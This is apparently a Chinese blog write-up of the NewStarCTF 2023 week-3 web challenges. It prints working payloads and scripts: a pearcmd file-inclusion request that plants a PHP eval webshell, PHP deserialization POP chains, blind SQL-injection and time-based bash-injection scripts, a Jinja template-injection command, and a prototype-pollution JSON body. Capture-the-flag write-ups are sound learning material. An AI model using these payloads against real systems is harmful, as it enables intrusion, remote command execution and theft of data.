NewStarCTF 2023_week3

171次阅读
没有评论

NewStarCTF 2023


第三周

Web

Include 🍐

进去看到是 include 文件包含,然后提示我们去看 phpinfo.php
访问查看后发现提示
NewStarCTF 2023_week3
提示让我们查看register_argc_argv
查看过后发现为 on
然后去了解这是啥东西以及相应的利用方式, 下面的文章和博客解释了相关的背景知识
https://cloud.tencent.com/developer/article/2204400
https://longlone.top/%E5%AE%89%E5%85%A8/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/register_argc_argv%E4%B8%8Einclude%20to%20RCE%E7%9A%84%E5%B7%A7%E5%A6%99%E7%BB%84%E5%90%88/
https://w4rsp1t3.moe/2021/11/26/%E5%85%B3%E4%BA%8E%E5%88%A9%E7%94%A8pearcmd%E8%BF%9B%E8%A1%8C%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E7%9A%84%E4%B8%80%E4%BA%9B%E6%80%BB%E7%BB%93/
然后开始利用
抓包 get 传参,将后门文件写入 test.php
/?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST['cmd']);?>+/tmp/test.php
这里最好还是抓包传参,因为浏览器可能会将尖括号编码导致失效。
NewStarCTF 2023_week3
然后蚁剑连接即可
http://4ca28fd7-fce6-441b-a544-3835560f196c.node4.buuoj.cn:81/?file=/tmp/test
NewStarCTF 2023_week3

POP Gadget

一个简单的 pop 链的构造
经过梳理后发现了构造链

Begin:__destruct->Then:__toString->Super:__invoke->Handle:__call->CTF:__end->WhiteGod:__unset

new Begin(new Then(new Super(new Handle(new CTF(new WhiteGod())))));
<?php
class Begin{
    public $name;
    public function __construct($a)
    {$this->name=$a;}
}

class Then{
    private $func;
        public function __construct($a)
    {$this->func=$a;}
}

class Handle{
    protected $obj;
        public function __construct($a)
    {$this->obj=$a;}
}

class Super{
    protected $obj;
        public function __construct($a)
    {$this->obj=$a;}
}

class CTF{
    public $handle;
        public function __construct($a)
    {$this->handle=$a;}
}

class WhiteGod{
    public $func="readfile";
    public $var="/flag";
}
$pop=new Begin(new Then(new Super(new Handle(new CTF(new WhiteGod())))));
echo urlencode(serialize($pop));
#O%3A5%3A%22Begin%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Then%22%3A1%3A%7Bs%3A10%3A%22%00Then%00func%22%3BO%3A5%3A%22Super%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A6%3A%22Handle%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A3%3A%22CTF%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A8%3A%22WhiteGod%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A8%3A%22readfile%22%3Bs%3A3%3A%22var%22%3Bs%3A5%3A%22%2Fflag%22%3B%7D%7D%7D%7D%7D%7D

medium_sql

经典的盲注,自己写的脚本太拉了,总是出问题,这里引用一下官方的脚本吧

def condition(res):    
    if 'Physics' in res.text:        
        return True    
    return False
result = ''
_url = 'http://ac3e5572-5167-4e4a-946f-2f33f61345c5.node4.buuoj.cn:81/'

import time
import requests
for _time in range(1,1000):    
    print("time:%d" % (_time))     
    left = 32    
    right = 128    
    while (right > left):        
        mid = (left + right) // 2        
        #获取当前库表名        
        # url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(table_name))fRom(infOrmation_schema.tables)whEre((tAble_schema) In (dAtabase()))) fRom {_time} FOr 1))))In({mid})),1,0)%23"        
        # 获取字段名        
        # url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(column_name))fRom(infOrmation_schema.columns)whEre((tAble_name) In ('here_is_flag'))) fRom {_time} FOr 1))))In({mid})),1,0)%23"        
        # 获取字段值        
        url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(flag)fRom(here_is_flag)) fRom {_time} FOr 1))))In({mid})),1,0)%23"                
        # 防止请求速率过快        
        time.sleep(0.2)        
        res = requests.get(url=url)        
        if (condition(res)):            
            result += chr(mid)            
            print(result)            
            break        
        else:            
            # 获取当前库表名            
            # url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(table_name))fRom(infOrmation_schema.tables)whEre((tAble_schema) In (dAtabase()))) fRom {_time} FOr 1))))>({mid})),1,0)%23"            
            # 获取字段名            
            # url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(column_name))fRom(infOrmation_schema.columns)whEre((tAble_name) In ('here_is_flag'))) fRom {_time} FOr 1))))>({mid})),1,0)%23"            
            #获取字段值            
            url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(flag)fRom(here_is_flag)) fRom {_time} FOr 1))))>({mid})),1,0)%23"            
            res = requests.get(url=url)            
            if (condition(res)):                
                left = mid            
            else:                
                right = mid

R!!!C!!!E!!!

进来代码审计,发现是个简单的反序列化外加 rce。
rce 过滤了许多,考虑到可不可能是 bash 盲注。
最后看了看官方脚本

import time
import requests
url = "http://bcdad1a5-6014-4594-a8b5-c4c03f581147.node4.buuoj.cn:81/"
result = ""
for i in range(1,15):    
    for j in range(1,50):        
    #ascii 码表        
        for k in range(32,127):            
            k=chr(k)            
            payload =f"if [`cat /flag_is_h3eeere | awk NR=={i} | cut -c {j}` == '{k}' ];then sleep 2;fi"            
            length=len(payload)            
            payload2 ={"payload": 'O:7:"minipop":2:{{s:4:"code";N;s:13:"qwejaskdjnlka";O:7:"minipop":2:{{s:4:"code";s:{0}:"{1}";s:13:"qwejaskdjnlka";N;}}}}'.format(length,payload)            
            }            
            t1=time.time()            
            r=requests.post(url=url,data=payload2)            
            t2=time.time()            
            if t2-t1 >1.5:                
                result+=k                
                print(result)    
    result += " "

原理和 sql 时间盲注差不多。
其中,awk 是用来逐行获取数据,例如 awk NR==1 就是获取第一行数据 而 cut -c 1 就是逐列获取单个字符。
然后根据时间来判断是否存在字符。

同时,此题还有非预期解,利用 ls /|script 123;sleep 2 可以把根目录的内容存到文件 123 中,然后访问即可。
因此我们可以 cat /flag_is_h3eeere|script 1234;sleep 2 然后把内容存到 123 中,然后访问即可。
NewStarCTF 2023_week3
如果 tee 没有被过滤,script 也可以用 tee 代替。
此非预期解前提一定要是有读写权限才可,没有读写权限还是老老实实去盲注吧!
最后是用来反序列化的代码

<?php
class minipop{
    public $code;
    public $qwejaskdjnlka;
}
$payload = new minipop();
$payload->qwejaskdjnlka=new minipop();
$payload->qwejaskdjnlka->code=" ls / |script xxx;sleep 2";
echo serialize($payload);

GenShin

进入环境,查看各种信息后果断抓包,看到应答包里有提示。
NewStarCTF 2023_week3
进入后发现可能存在 ssti 模板注入
NewStarCTF 2023_week3
测试发现,{}被过滤,于是尝试%%, 最后发现好多的内置函数均被 ban 掉。
看了 wp 才发现可以使用get_flashed_message()
于是直接

{% print(get_flashed_messages.__globals__.os["pop"+"en"]("cat /flag").read()) %}

找到 flag。

OtenkiGirl

抓包后发现了 info 路由,里面储存了一些信息,然后去查看源代码。在给出的 info.js 里面。

async function getInfo(timestamp) {timestamp = typeof timestamp === "number" ? timestamp : Date.now();
    // Remove test data from before the movie was released
    let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
    timestamp = Math.max(timestamp, minTimestamp);
    const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e});
    return data;
}

分析发现,首先判断传入的 timestamp 是否为数字,若不是,则取当前的时间。然后从 CONFIG.min_public_time 或者 DEFAULT_CONFIG.min_public_time 中取值并得到时间戳来新建一个 date 对象。紧接着与 timestamp 作比较,取最大值,然后 sql 查询大于此值的数据。

而根目录下的 config.js 中并没有发现 min_public_time。因此该处只是取 config,dafault.js 中的DEFAULT_CONFIG.min_public_time。于是不难发现,此值就是关键,若大于此值,则 timestamp 为我们想传入的值,无法获得信息。而若是 timestamp 很小,则此处也不会取我们传入的值,而是取DEFAULT_CONFIG.min_public_time。依旧无法获得信息。
于是考虑是不是可以修改此处的值DEFAULT_CONFIG.min_public_time,使其为 0,从而方便我们获得信息。

然后抓包也发现了 submit 路由。
在 submit 路由中发现了 merge 函数,说明此处可能存在原型链污染。

const merge = (dst, src) => {if (typeof dst !== "object" || typeof src !== "object") return dst;
    for (let key in src) {if (key in dst && key in src) {dst[key] = merge(dst[key], src[key]);
        } else {dst[key] = src[key];
        }
    }
    return dst;
}

因此,我们可以在上传信息时,污染原型链,来修改 min_public_time 的值为我们想要的时间。
抓包发现上传格式为 json 格式。
于是可以上传

{
    "date":"",
    "place":"",
    "contact":"213",
    "reason":"123",
    "__proto__":{"min_public_time": "1001-01-01"}
}

然后我们访问 info/ 0 即可发现 flag。
NewStarCTF 2023_week3

misc 不想做了,复现完 web 就 ok 了,最近事情好多,还要考试。。。

正文完
 
haxo
版权声明:本站原创文章,由 haxo 2023-11-02发表,共计6142字。
转载说明:除特殊说明外本站文章皆由CC-4.0协议发布,转载请注明出处。
最新评论
emoji emoji 写得好啊
评论(没有评论)